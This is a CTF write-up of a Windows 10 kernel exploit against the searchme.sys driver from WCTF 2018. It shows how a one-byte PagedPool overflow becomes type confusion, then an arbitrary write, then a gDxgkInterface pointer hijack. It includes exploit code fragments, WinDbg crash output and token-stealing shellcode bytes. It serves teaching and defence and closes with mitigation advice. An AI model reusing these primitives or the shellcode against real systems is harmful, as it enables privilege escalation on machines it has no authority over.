
Executive Summary
A single byte written one position past the end of a kernel pool allocation is, on paper, about as small as a memory-corruption bug gets. This write-up follows that byte all the way from a fuzzer crash in a vulnerable Windows 10 x64 driver to SYSTEM privileges and a flag read off a protected file. The target is searchme.sys, a kernel driver written for the “Searchme” challenge at WCTF 2018 in Beijing — an invite-only competition where the tasks themselves are authored by the competing teams, which pushes the difficulty considerably higher than a typical CTF.
What makes this particular chain worth studying is the deliberate avoidance of pool metadata. The challenge author’s own solution corrupted allocator metadata and used pool feng shui to make two chunks overlap. The approach here goes the other way: it exploits the fact that large kernel pool chunks are page-aligned and frequently adjacent, so a one-byte overflow at the end of one allocation lands squarely on the first byte of the next object — which happens to be a type tag. Flipping that tag produces a type confusion between two driver structures, which reinterprets two small integer offsets as a 64-bit pointer, which turns out to be a mappable user-mode address. From there it is a controlled table, an arbitrary 4-byte write, an overwritten win32kbase!gDxgkInterface function pointer, ring-0 shellcode and a stolen SYSTEM token. No allocator internals, no heap grooming of the classic kind — a data-only attack on the driver’s own objects.
Introduction: WCTF 2018

Over the weekend of 6–8 July 2018, the Dragon Sector CTF team played WCTF, an invite-only competition held in Beijing with a prize pool of $100,000 USD. The other participants were top-tier groups from around the world — Shellphish, ESPR, LC↯BC and Tokyo Westerns among them. The competition ran on an unusual rule: the challenges were authored by the competing teams rather than by the organizers. Each of the ten teams had to supply two tasks, at least one of which had to run on Windows, which meant that a team could capture at most 18 flags — those set by everybody else in the room.
In practice that structure creates a strong incentive to submit extremely difficult and elaborate challenges. Remote help was permitted, and the scoring system awarded first-blood bonuses to the first, second and third teams to solve each task. The hacking portion was followed by a “soft” part in which teams presented their own tasks on stage and picked up additional points awarded by a jury and by the other participants.
After two days of tough competition, Dragon Sector finished as runner-up with 6 of 18 tasks solved, behind the winner, Tokyo Westerns, on 7 of 18:

The contribution described here was the flag for “Searchme”, a task authored by the Eat, Sleep, Pwn, Repeat team. It required exploiting an off-by-one buffer overflow of a PagedPool allocation made by a vulnerable kernel driver loaded on 64-bit Windows 10. Shortly after the competition the challenge author (@_niklasb) released the driver source and his own exploit — see niklasb/elgoog on GitHub — which revealed that the solution below was partially unintended. Niklas used the off-by-one to corrupt allocation metadata and applied pool feng shui to obtain overlapping pool chunks. The route taken here reaches a comparable primitive through a data-only attack that never touches pool metadata at all, which makes the overall process somewhat simpler. Both are worth reading side by side.
The full exploit source is published on GitHub.
Initial recon
The task shipped a 64-bit Windows kernel driver named searchme.sys, occupying all of 14 kB on disk, together with a terse description:
<ip> 3389 flag is here: c:\flag.txt, User:ctf, password:ctf
Challenge description
Connecting to the remote host over RDP gave a session as the unprivileged ctf user. The searchme.sys driver was loaded in the system and the target C:\flag.txt file was present on disk, but — as expected — it could not be read from the security context of that account:

ctf user is denied. Source: original article.The shape of the challenge was therefore clear from the outset: find and exploit a kernel-mode vulnerability in searchme.sys, elevate to administrative or SYSTEM rights, then read the protected file. Loading the module into IDA Pro showed that it registered a device under \Device\Searchme and serviced four IOCTLs over the Buffered I/O communication scheme:
0x222000— allocates an empty object from PagedPool, stores it in a global array, and returns its address to the caller,0x222004— frees a previously allocated object,0x222008— adds a pair of(char[16], uint32)to an existing object,0x22200C— transforms an existing type-0 object into a type-1 object, in a one-way, irreversible manner.
IOCTLs #1 and #2 are trivial, so the vulnerability had to be somewhere in the implementation of #3 or #4. Reverse-engineering the entire driver — with help from Redford and implr — to rename symbols and fix up data types made the broad functionality legible: the driver maintains a hash map associating textual tokens with lists of numeric values, and some binary data structure is involved in type-1 objects. The precise purpose of that structure was not obvious at the time (it later turned out to be binary interpolative coding). No obvious vulnerability jumped out either, but two behaviours looked suspicious:
- In the
0x222008handler, the driver refuses duplicates within the list of integers associated with a token — but it only compares the newly added value against the one currently at the back of the list. A list of[1,2,2]is rejected because of the equal consecutive entries, while[2,1,2]is accepted without complaint. That is especially odd given that the list gets sorted later on when another IOCTL processes it, which potentially defeats the whole point of the duplicate check. - In nested functions called from the
0x22200Chandler, the following construct appears:
if (*cur_buf > buf_end) {
return 1;
}
If buf_end is the smallest address beyond the valid buffer, this is a classic off-by-one: the comparison should be >=. Chasing either lead analytically would have taken time, so the faster route was to try dumb fuzzing first and see whether any crashes fell out. Starting from a known-bad state beats hunting for a memory-corruption primitive by reading code.
Fuzzing the driver
For fuzzing purposes it helped enormously that the driver’s entire communication interface came down to four simple operations. A set of wrapper functions around DeviceIoControl written during this stage was later reused wholesale in the actual exploit. The fuzzer itself was as simple as it gets: an infinite loop invoking one of the IOCTLs with random but correctly formatted arguments (token=["aa","bb"], value=[0..9]).
With Special Pool enabled for searchme.sys, it took only a few seconds of fuzzing to produce this crash in WinDbg:
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffffd9009c68b000, memory referenced
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation
Arg3: fffff8026b482628, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)
[...]
TRAP_FRAME: ffff820b43580360 -- (.trap 0xffff820b43580360)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000
r8=ffffd9009c68b000 r9=0000000000000000 r10=00007ffffffeffff
r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
searchme+0x2628:
fffff802`6b482628 0fbe00 movsx eax,byte ptr [rax] ds:ffffd900`9c68b000=??
The fault landed at searchme+0x2628, inside a bit-writing routine — the very function containing the suspicious *cur_buf > buf_end comparison spotted during static review. Follow-up experiments, including fuzzing runs without Special Pool, confirmed that the overflow was limited to exactly one byte.
At that point something clicked: this code had been seen before. A quick check confirmed it — “searchme” was a lightly modified and recompiled version of elgoog2 from 34C3, a few months earlier. The immediate practical benefit was that the “elgoog” task had shipped with debugging symbols, meaning structure definitions, function names and the rest. A bit more digging turned up a tweet pointing at a short write-up and an exploit by shiki7 of Tea Deliverers. The unintended type-confusion bug that exploit relied on had been patched in “searchme”, so it no longer worked, but it still supplied useful context. Niklas’ description of the pool buffer overflow reinforced the belief that this off-by-one was the intended bug.
The next hour or two went into porting symbols from the “elgoog” database into the “searchme” IDA database.
Controlling the overflow
Reviewing the sequence of commands the fuzzer had sent to produce the crash showed that the overflow was triggered by “compressing” (IOCTL 0x22200C) an object holding a token with duplicate entries — exactly the case the back-of-list-only duplicate check lets through. Since only a single byte can be written past the allocation, its value almost certainly needed to be controlled precisely. Even with debug symbols in hand, the exact data structure the code built was still not fully understood, and therefore neither was the way to steer its contents.
Rather than spend hours reverse-engineering the algorithm properly, the shortcut was to copy the interpolative_size and write_interpolative functions, together with their dependencies, straight out of the Hex-Rays decompiler into Visual Studio, and build a small brute-force harness around them to observe what overflow byte various random input lists produced. The core of the tool comes down to this:
// Fill input_buffer with random numbers and sort it.
memset(output_buffer, 0xaa, sizeof(output_buffer));
char *buf = output_buffer;
write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);
size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8;
ptrdiff_t written = buf - output_buffer - 1;
if (written > 0 && calculated > 0 && written > calculated) {
const char kSearchedByte = 0;
if (output_buffer[calculated] == kSearchedByte) {
// Print input_buffer.
}
}
The length of input_buffer and the range of the input numbers can be adjusted depending on the byte value you want. For a plain 0x00, five numbers drawn from the [0..9] range are enough:
C:\> brute.exe
calculated: 4, written: 11, last byte: 0x00
input_buffer = {0, 1, 1, 1, 2}
calculated: 1, written: 4, last byte: 0x00
input_buffer = {0, 3, 4, 5, 5}
calculated: 1, written: 4, last byte: 0x00
input_buffer = {5, 7, 8, 9, 9}
[...]
With the ability to choose the single byte that spills out of the allocation, the next step was to lift that primitive into something more powerful.
Data-only pool corruption
Most dynamic allocators in use today place metadata immediately in front of the allocated chunks, a layout that historically enabled a whole family of generic heap exploitation techniques. These days the same layout can make small overflows harder to exploit, because the metadata sits between application objects and is typically protected by extensive integrity checks. Two references are obligatory here: A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator (Dan Rosenberg, 2012) and The poisoned NUL byte, 2014 edition (Chris Evans and Tavis Ormandy, 2014).
Niklas’ intended solution also went through pool metadata corruption, confusing the kernel pool allocator into producing two distinct objects that overlap, and thereby obtaining a more useful primitive. That is a perfectly valid approach, but it demands that the exploit writer understand the allocator’s internals and set up the pool layout precisely enough for reliable exploitation. Attacking program-specific objects rather than internal system structures is, as a matter of personal preference, easier — so the search started there instead.
It is perhaps not widely known that the Windows kernel handles small allocations (those fitting into a single memory page) quite differently from large ones. For dated but still relevant detail, see Kernel Pool Exploitation on Windows 7 (Tarjei Mandt, 2011) and Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool (Alex Ionescu, 2014). Two properties of large pool chunks matter here:
- Their metadata is stored separately, so the allocations themselves start at page-aligned addresses such as
0xffffa803f5892000. - The chunks are frequently adjacent in memory — two consecutive allocations of size
0x1000may well be mapped at0xffffa803f5892000and0xffffa803f5893000respectively.
In this driver the size of the overflown chunk can be controlled accurately up to 0x10000 bytes, or 16 pages. That is more than sufficient to place two large objects next to one another, and — because the IOCTLs helpfully return the kernel-mode addresses of the objects they create — the exact pairs of adjacent regions can be identified directly. A small tool written during the CTF confirmed this by allocating eight indexes of 0x2000 bytes each and comparing their addresses, producing output along these lines:
C:\>adjacent.exe
[+] Source Index: ffffa803f2f79cb0
[1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000
[2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000
[3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000
[4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000
[5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000
[6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000
[7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000
Every object landed next to its neighbour, forming one continuous block of 0x10000 bytes. Free every other object to punch holes into that block, then promptly allocate a fresh chunk of the same size and let the driver overflow it, and the stray byte lands on the first byte of the adjacent index object. The layout is illustrated below:

So what lives in that first byte? It is the least significant byte of a 32-bit integer holding the object’s type — type 0 for a regular object, type 1 for a compressed one. The regular object is laid out like this:
struct _inverted_index {
/* +0x00 */ int compressed;
/* +0x08 */ _ii_token_table *table;
};
When compressed is non-zero, the structure is interpreted completely differently:
struct _compressed_index {
/* +0x00 */ int compressed;
/* +0x04 */ int size;
/* +0x08 */ int offsets[size];
/* +0x?? */ char data[...];
};
Because the type field only ever holds 0x00000000 or 0x00000001, the one-byte overflow is enough to convert an object from _compressed_index into _inverted_index. That type confusion hands over a genuinely convenient primitive: the table pointer at offset 8 overlaps the first two entries of the offsets array. Those entries are offsets of compressed data relative to the compressed index, so they are small numbers — in testing, 0x558 and 0x56C.
Taken together and reinterpreted as a 64-bit address, those two values form the pointer 0x0000056c00000558. It is not an address you would normally see in a regular application, but it is nonetheless a canonical user-mode address, and it can be mapped from the exploit process with a plain VirtualAlloc call. The type confusion therefore redirects a sensitive kernel-mode pointer into user space, handing the attacker complete control over the _ii_token_table structure the driver operates on.
Implementing that logic in a proof of concept — flipping an object’s type from 1 to 0 and then adding a new (keyword, value) pair to the corrupted index — produces exactly the expected system crash, with searchme.sys dereferencing 0x0000056c00000558:
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck
Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
[...]
CONTEXT: ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60)
rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558
rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4
rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0
r8=0000000000000001 r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
searchme+0x1fea:
fffff800`8b981fea 48f77108 div rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=????????????????
With a fully controlled _ii_token_table in hand, the next question is what that buys.
Getting a write-what-where condition
Using the elgoog symbol files, the prototypes of _ii_token_table and the related _ii_posting_list were recovered and written out as C definitions:
struct _ii_posting_list {
char token[16];
unsigned __int64 size;
unsigned __int64 capacity;
unsigned int data[1];
};
struct _ii_token_table {
unsigned __int64 size;
unsigned __int64 capacity;
_ii_posting_list *slots[1];
};
Functionally this is close to a std::map<string, std::vector<unsigned int>> in C++. When a program asks for a new (token, value) pair to be added to the index, the driver walks the slots array looking for the posting list matching the supplied token, and once it finds one, appends the value with this expression:
PostingList.data[PostingList.size++] = value;
Given that the token table is attacker-controlled, that _ii_posting_list.size is 64 bits wide, and that the base address of the fake posting list is known, converting this into an arbitrary write is trivial. First, declare the fake posting list in static memory with a known token name (“fake”) and a capacity of UINT64_MAX:
namespace globals {
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };
} // namespace globals
Next, a routine to set up the fake token table at that special 0x0000056c00000558 address:
BOOLEAN SetupWriteWhatWhere() {
CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
CONST PVOID kTableBase = (PVOID)0x0000056c00000000;
if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
printf("[-] Unable to allocate fake base.\n");
return FALSE;
}
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
TokenTable->size = 1;
TokenTable->capacity = 1;
TokenTable->slots[0] = &globals::PostingList;
return TRUE;
}
Finally, a helper that triggers the 4-byte write-what-where by computing the index that makes the append land on the desired address:
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);
AddToIndex(CorruptedIndex, What, "fake");
}
With all the pieces in place, the primitive can be smoke-tested:
WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242);
which duly raises the following exception inside the vulnerable driver:
CONTEXT: ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0)
rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc
rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4
rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0
r8=0000000000000001 r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
searchme+0x1905:
fffff803`8ccc1905 3954881c cmp dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=????????
The crash log does not directly show the write, because some meaningless reads from PostingList.data happen first — but the attack works, and rdx holding 0x42424242 next to the 0x41414141`4141413c operand address confirms both halves of the primitive are under control.
Executing shellcode
At this stage the exploit could write arbitrary kernel memory but not read it, which ruled out doing a data-only attack entirely from user mode. With a write-what-where in hand, though, getting to ring-0 code execution is largely a formality. It was made easier still by the fact that the exploit ran at Medium integrity, so it had access to the base addresses of kernel modules and could obtain other useful addresses through the various information classes of NtQuerySystemInformation.
In his Black Hat USA 2017 talk, Morten Schenk proposed using an arbitrary write to overwrite kernel function pointers living in the .data section of win32kbase.sys — specifically in the win32kbase!gDxgkInterface table used by the graphical syscalls of the NtGdiDdDDI* family. Those system call handlers are trivial wrappers around the function pointers, and conveniently leave the arguments passed in RCX, RDX and the rest untouched:

NtGdiDdDDICreateAllocation is a thin wrapper that jumps through a gDxgkInterface function pointer without disturbing the argument registers. Source: original article.That property lets an attacker call arbitrary kernel functions with controlled arguments and collect the return values. As Morten described, the complete process is only a handful of steps:
- Overwrite the function pointer with the address of
nt!ExAllocatePoolWithTag. - Call the routine with the
NonPagedPoolparameter to allocate writable/executable memory. - Write the ring-0 shellcode into the freshly allocated memory.
- Overwrite the function pointer with the address of the shellcode.
- Call the shellcode.
The scheme executes the payload cleanly, without corrupting system state beyond the single overwritten pointer. Morten’s paper suggested NtGdiDdDDICreateAllocation as the proxy syscall, but in practice Windows calls it often enough that the system starts to misbehave if the pointer is not restored promptly. Picking a less frequently used service that appeared to be invoked exclusively by the exploit itself — NtGdiDdDDIGetContextSchedulingPriority — removed that headache entirely.
With the logic implemented, arbitrary kernel code execution followed; here demonstrated with a single int3 instruction:
kd> g
Break instruction exception - code 80000003 (first chance)
ffffc689`b8967000 cc int 3
0: kd> u
ffffc689`b8967000 cc int 3
ffffc689`b8967001 c3 ret
[...]
0: kd> !pool @rip
Pool page ffffc689b8967000 region is Nonpaged pool
*ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes
Owning component : Unknown (update pooltag.txt)
Elevating privileges
On Windows, one of the more straightforward ways to elevate privileges is to “steal” the security token of a SYSTEM process and copy it into the current process — specifically into EPROCESS.Token. The address of a system process is available in the static memory of the ntoskrnl.exe image, under nt!PsInitialSystemProcess. Because the whole attack amounts to copying a single pointer between two kernel structures, the shellcode is six instructions long:
// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010 488B09 mov rcx, [rcx]
// 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token]
// 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx
// 00000021 C3 ret
CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
"\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00"
"\x00\xC3";
Getting the flag
Once the security token of the exploit process has been replaced, the operating system is fully under control. Spawning an elevated command prompt and reading the flag is all that remains:

searchme.sys: an elevated shell reads C:\flag.txt. Source: original article.All told, roughly 15 hours of work produced a working exploit worth 120 points plus a 30-point first — and, as it turned out, last — blood bonus. Credit goes to Niklas for building an enjoyable challenge and to the WCTF organizers for running the competition. The task and its solution illustrate rather neatly that even today, theoretically minor bugs such as an off-by-one overflow on the kernel pool can be conceptually simple to exploit given the right circumstances. Buffer overflow exploitation on Windows is not dead just yet.
Key Takeaways
- A one-byte overflow is not a low-severity bug by default. Whether it is exploitable depends almost entirely on what happens to sit immediately after the allocation — here, a type tag that reinterprets an entire structure.
- Large kernel pool chunks on Windows behave very differently from small ones: their metadata is stored separately, allocations are page-aligned, and consecutive allocations frequently land next to each other. That combination turns an off-by-one into a reliable cross-object write without any allocator grooming.
- Data-only attacks against an application’s own objects can be substantially simpler than metadata corruption. They sidestep allocator integrity checks entirely and do not require the exploit writer to model the allocator’s internal state.
- An interface that returns kernel-mode addresses to user mode — as these IOCTLs do — hands the attacker the layout information that would otherwise have to be inferred through spraying and guesswork.
- Incomplete validation is as dangerous as absent validation: checking a new list entry only against the back of the list, when the list is sorted later anyway, is what makes the overflow reachable in the first place.
- Dumb fuzzing over a four-IOCTL attack surface, with Special Pool enabled, produced the crash in seconds — far faster than reasoning about the interpolative coding routine analytically. Special Pool is what turns a silent one-byte overwrite into an immediate, precisely attributed bugcheck.
- Overwriting a
win32kbase!gDxgkInterfacefunction pointer remains a compact path from arbitrary write to controlled kernel execution — and choosing a rarely-invokedNtGdiDdDDI*syscall as the proxy avoids destabilising the system while the pointer is hijacked.
Defensive Recommendations
- Treat every buffer boundary comparison as a review target. The entire chain here begins with
>where>=was required (CWE-193, CWE-787); such constructs should be flagged by static analysis and audited by hand in any code parsing untrusted input. - Validate invariants completely rather than partially. A duplicate check that only compares against the last element is not a duplicate check — enforce the property over the whole collection, or drop the check and make downstream code robust to duplicates.
- Do not return kernel-mode addresses to user mode from driver IOCTLs. Hand out opaque handles or indexes instead; leaking pointers gives away both KASLR and the pool layout.
- Fuzz kernel drivers continuously with Special Pool (or Driver Verifier’s equivalent) enabled, since the surface area is usually small, well-defined and cheap to exercise — and without a sanitizer-equivalent, single-byte overflows will typically not crash at all.
- Enable Driver Verifier with pool tracking, special pool and low-resource simulation on any third-party kernel driver during pre-deployment testing, and require HVCI-compatible driver builds where possible.
- Where feasible, allocate security-relevant driver objects with type tags or magic values that are validated on every use, so that a single-byte flip of a type discriminator is detected instead of silently reinterpreting the structure.
- Deploy kernel mitigations that break the post-exploitation half of this chain: HVCI/Memory Integrity blocks the allocate-RWX-and-jump pattern, and Kernel Data Protection places sensitive read-mostly data beyond an arbitrary write.
- Restrict which unprivileged users can open custom driver device objects. A device with a permissive ACL, reachable from a Medium-integrity RDP session, converts a driver bug into a local privilege escalation for every logged-in user.
- Monitor for the tell-tale post-exploitation signal: a process whose token suddenly matches the SYSTEM process token without any legitimate impersonation or elevation event.
Conclusion
The interesting part of this exploit is not the size of the bug but how little of the system had to be understood to weaponize it. There is no pool feng shui, no allocator metadata forgery and no information leak — only the observation that large PagedPool chunks are page-aligned and often adjacent, that the driver conveniently discloses its own object addresses, and that the byte sitting at the start of the neighbouring object is a type discriminator. Flip it and two structure definitions collide, turning a pair of small integer offsets into a canonical user-mode pointer that the exploit simply maps with VirtualAlloc. Everything downstream — the fake token table, the arbitrary 4-byte write, the gDxgkInterface pointer swap, the six-instruction token-stealing shellcode — is well-trodden ground. It is a good reminder that an off-by-one on the kernel pool deserves to be triaged as a potential privilege escalation, not filed away as a cosmetic defect.
Original text: “Exploiting a Windows 10 PagedPool off-by-one overflow (WCTF 2018)” by j00ru at j00ru//vx tech blog.


